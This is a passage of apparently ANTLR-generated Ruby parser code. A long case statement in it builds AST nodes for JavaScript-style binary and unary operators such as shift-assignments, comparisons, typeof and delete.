@adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 8\n root_0 = @adaptor.create_flat_list\n\n\n # at line 157:5: ^( '<<=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal128 = match( LSHIFT_ASGN, TOKENS_FOLLOWING_LSHIFT_ASGN_IN_expression_913 )\n\n tree_for_string_literal128 = @adaptor.copy_node( string_literal128 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal128, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_915 )\n expression129 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression129.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_917 )\n expression130 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression130.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 9\n root_0 = @adaptor.create_flat_list\n\n\n # at line 158:5: ^( '>>=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal131 = match( RSHIFT_ASGN, TOKENS_FOLLOWING_RSHIFT_ASGN_IN_expression_927 )\n\n tree_for_string_literal131 = @adaptor.copy_node( string_literal131 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal131, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_929 )\n expression132 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression132.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_931 )\n expression133 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression133.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 10\n root_0 = @adaptor.create_flat_list\n\n\n # at line 159:5: ^( '>>>=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal134 = match( RSHIFT3_ASGN, TOKENS_FOLLOWING_RSHIFT3_ASGN_IN_expression_941 )\n\n tree_for_string_literal134 = @adaptor.copy_node( string_literal134 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal134, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_943 )\n expression135 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression135.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_945 )\n expression136 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression136.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 11\n root_0 = @adaptor.create_flat_list\n\n\n # at line 160:5: ^( '&=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal137 = match( AMP_ASGN, TOKENS_FOLLOWING_AMP_ASGN_IN_expression_955 )\n\n tree_for_string_literal137 = @adaptor.copy_node( string_literal137 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal137, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_957 )\n expression138 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression138.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_959 )\n expression139 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression139.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 12\n root_0 = @adaptor.create_flat_list\n\n\n # at line 161:5: ^( '^=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal140 = match( HAT_ASGN, TOKENS_FOLLOWING_HAT_ASGN_IN_expression_969 )\n\n tree_for_string_literal140 = @adaptor.copy_node( string_literal140 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal140, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_971 )\n expression141 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression141.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_973 )\n expression142 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression142.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 13\n root_0 = @adaptor.create_flat_list\n\n\n # at line 162:5: ^( '||=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal143 = match( OR_ASGN, TOKENS_FOLLOWING_OR_ASGN_IN_expression_983 )\n\n tree_for_string_literal143 = @adaptor.copy_node( string_literal143 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal143, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_985 )\n expression144 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression144.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_987 )\n expression145 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression145.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 14\n root_0 = @adaptor.create_flat_list\n\n\n # at line 163:5: ^( '|=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal146 = match( PIPE_ASGN, TOKENS_FOLLOWING_PIPE_ASGN_IN_expression_997 )\n\n tree_for_string_literal146 = @adaptor.copy_node( string_literal146 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal146, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_999 )\n expression147 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression147.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1001 )\n expression148 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression148.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 15\n root_0 = @adaptor.create_flat_list\n\n\n # at line 164:5: ^( '|' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal149 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_expression_1011 )\n\n tree_for_char_literal149 = @adaptor.copy_node( char_literal149 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal149, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1013 )\n expression150 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression150.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1015 )\n expression151 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression151.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 16\n root_0 = @adaptor.create_flat_list\n\n\n # at line 165:5: ^( '||' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal152 = match( OR, TOKENS_FOLLOWING_OR_IN_expression_1025 )\n\n tree_for_string_literal152 = @adaptor.copy_node( string_literal152 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal152, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1027 )\n expression153 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression153.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1029 )\n expression154 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression154.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 17\n root_0 = @adaptor.create_flat_list\n\n\n # at line 166:5: ^( '&' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal155 = match( AMP, TOKENS_FOLLOWING_AMP_IN_expression_1039 )\n\n tree_for_char_literal155 = @adaptor.copy_node( char_literal155 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal155, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1041 )\n expression156 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression156.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1043 )\n expression157 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression157.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 18\n root_0 = @adaptor.create_flat_list\n\n\n # at line 167:5: ^( '^' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal158 = match( HAT, TOKENS_FOLLOWING_HAT_IN_expression_1053 )\n\n tree_for_char_literal158 = @adaptor.copy_node( char_literal158 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal158, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1055 )\n expression159 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression159.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1057 )\n expression160 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression160.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 19\n root_0 = @adaptor.create_flat_list\n\n\n # at line 168:5: ^( '>>' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal161 = match( RSHIFT, TOKENS_FOLLOWING_RSHIFT_IN_expression_1067 )\n\n tree_for_string_literal161 = @adaptor.copy_node( string_literal161 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal161, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1069 )\n expression162 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression162.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1071 )\n expression163 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression163.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 20\n root_0 = @adaptor.create_flat_list\n\n\n # at line 169:5: ^( '<<' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal164 = match( LSHIFT, TOKENS_FOLLOWING_LSHIFT_IN_expression_1081 )\n\n tree_for_string_literal164 = @adaptor.copy_node( string_literal164 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal164, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1083 )\n expression165 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression165.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1085 )\n expression166 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression166.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 21\n root_0 = @adaptor.create_flat_list\n\n\n # at line 170:5: ^( '>>>' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal167 = match( RSHIFT3, TOKENS_FOLLOWING_RSHIFT3_IN_expression_1095 )\n\n tree_for_string_literal167 = @adaptor.copy_node( string_literal167 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal167, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1097 )\n expression168 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression168.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1099 )\n expression169 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression169.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 22\n root_0 = @adaptor.create_flat_list\n\n\n # at line 171:5: ^( '-' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal170 = match( MINUS, TOKENS_FOLLOWING_MINUS_IN_expression_1109 )\n\n tree_for_char_literal170 = @adaptor.copy_node( char_literal170 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal170, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1111 )\n expression171 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression171.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1113 )\n expression172 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression172.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 23\n root_0 = @adaptor.create_flat_list\n\n\n # at line 172:5: ^( '+' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal173 = match( PLUS, TOKENS_FOLLOWING_PLUS_IN_expression_1123 )\n\n tree_for_char_literal173 = @adaptor.copy_node( char_literal173 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal173, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1125 )\n expression174 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression174.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1127 )\n expression175 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression175.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 24\n root_0 = @adaptor.create_flat_list\n\n\n # at line 173:5: ^( MOD expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __MOD176__ = match( MOD, TOKENS_FOLLOWING_MOD_IN_expression_1137 )\n\n tree_for_MOD176 = @adaptor.copy_node( __MOD176__ )\n\n root_1 = @adaptor.become_root( tree_for_MOD176, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1139 )\n expression177 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression177.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1141 )\n expression178 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression178.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 25\n root_0 = @adaptor.create_flat_list\n\n\n # at line 174:5: ^( SLASH expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SLASH179__ = match( SLASH, TOKENS_FOLLOWING_SLASH_IN_expression_1151 )\n\n tree_for_SLASH179 = @adaptor.copy_node( __SLASH179__ )\n\n root_1 = @adaptor.become_root( tree_for_SLASH179, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1153 )\n expression180 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression180.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1155 )\n expression181 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression181.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 26\n root_0 = @adaptor.create_flat_list\n\n\n # at line 175:5: ^( '*' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal182 = match( STAR, TOKENS_FOLLOWING_STAR_IN_expression_1165 )\n\n tree_for_char_literal182 = @adaptor.copy_node( char_literal182 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal182, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1167 )\n expression183 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression183.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1169 )\n expression184 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression184.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 27\n root_0 = @adaptor.create_flat_list\n\n\n # at line 176:5: ^( '==' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal185 = match( EQ, TOKENS_FOLLOWING_EQ_IN_expression_1179 )\n\n tree_for_string_literal185 = @adaptor.copy_node( string_literal185 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal185, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1181 )\n expression186 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression186.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1183 )\n expression187 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression187.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 28\n root_0 = @adaptor.create_flat_list\n\n\n # at line 177:5: ^( '===' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal188 = match( EQQ, TOKENS_FOLLOWING_EQQ_IN_expression_1193 )\n\n tree_for_string_literal188 = @adaptor.copy_node( string_literal188 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal188, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1195 )\n expression189 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression189.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1197 )\n expression190 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression190.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 29\n root_0 = @adaptor.create_flat_list\n\n\n # at line 178:5: ^( '!=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal191 = match( NEQ, TOKENS_FOLLOWING_NEQ_IN_expression_1207 )\n\n tree_for_string_literal191 = @adaptor.copy_node( string_literal191 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal191, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1209 )\n expression192 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression192.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1211 )\n expression193 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression193.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 30\n root_0 = @adaptor.create_flat_list\n\n\n # at line 179:5: ^( '!==' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal194 = match( NEQQ, TOKENS_FOLLOWING_NEQQ_IN_expression_1221 )\n\n tree_for_string_literal194 = @adaptor.copy_node( string_literal194 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal194, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1223 )\n expression195 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression195.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1225 )\n expression196 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression196.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 31\n root_0 = @adaptor.create_flat_list\n\n\n # at line 180:5: ^( '>=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal197 = match( GEQ, TOKENS_FOLLOWING_GEQ_IN_expression_1235 )\n\n tree_for_string_literal197 = @adaptor.copy_node( string_literal197 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal197, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1237 )\n expression198 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression198.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1239 )\n expression199 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression199.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 32\n root_0 = @adaptor.create_flat_list\n\n\n # at line 181:5: ^( '<=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal200 = match( LEQ, TOKENS_FOLLOWING_LEQ_IN_expression_1249 )\n\n tree_for_string_literal200 = @adaptor.copy_node( string_literal200 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal200, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1251 )\n expression201 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression201.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1253 )\n expression202 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression202.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 33\n root_0 = @adaptor.create_flat_list\n\n\n # at line 182:5: ^( '>' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal203 = match( GREATER, TOKENS_FOLLOWING_GREATER_IN_expression_1263 )\n\n tree_for_char_literal203 = @adaptor.copy_node( char_literal203 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal203, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1265 )\n expression204 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression204.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1267 )\n expression205 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression205.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 34\n root_0 = @adaptor.create_flat_list\n\n\n # at line 183:5: ^( '<' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal206 = match( LESS, TOKENS_FOLLOWING_LESS_IN_expression_1277 )\n\n tree_for_char_literal206 = @adaptor.copy_node( char_literal206 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal206, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1279 )\n expression207 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression207.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1281 )\n expression208 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression208.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 35\n root_0 = @adaptor.create_flat_list\n\n\n # at line 184:5: ^( 'instanceof' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal209 = match( INSTANCEOF, TOKENS_FOLLOWING_INSTANCEOF_IN_expression_1291 )\n\n tree_for_string_literal209 = @adaptor.copy_node( string_literal209 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal209, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1293 )\n expression210 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression210.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1295 )\n expression211 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression211.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 36\n root_0 = @adaptor.create_flat_list\n\n\n # at line 185:5: ^( 'in' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal212 = match( IN, TOKENS_FOLLOWING_IN_IN_expression_1305 )\n\n tree_for_string_literal212 = @adaptor.copy_node( string_literal212 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal212, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1307 )\n expression213 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression213.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1309 )\n expression214 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression214.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 37\n root_0 = @adaptor.create_flat_list\n\n\n # at line 186:5: ^( 'delete' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal215 = match( DELETE, TOKENS_FOLLOWING_DELETE_IN_expression_1319 )\n\n tree_for_string_literal215 = @adaptor.copy_node( string_literal215 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal215, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1321 )\n expression216 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression216.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 38\n root_0 = @adaptor.create_flat_list\n\n\n # at line 187:5: ^( 'void' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal217 = match( VOID, TOKENS_FOLLOWING_VOID_IN_expression_1331 )\n\n tree_for_string_literal217 = @adaptor.copy_node( string_literal217 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal217, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1333 )\n expression218 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression218.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 39\n root_0 = @adaptor.create_flat_list\n\n\n # at line 188:5: ^( 'typeof' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal219 = match( TYPEOF, TOKENS_FOLLOWING_TYPEOF_IN_expression_1343 )\n\n tree_for_string_literal219 = @adaptor.copy_node( string_literal219 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal219, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1345 )\n expression220 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression220.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 40\n root_0 = @adaptor.create_flat_list\n\n\n # at line 189:5: ^( '++' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal221 = match( INCR, TOKENS_FOLLOWING_INCR_IN_expression_1355 )\n\n tree_for_string_literal221 = @adaptor.copy_node( string_literal221 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal221, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1357 )\n expression222 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression222.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 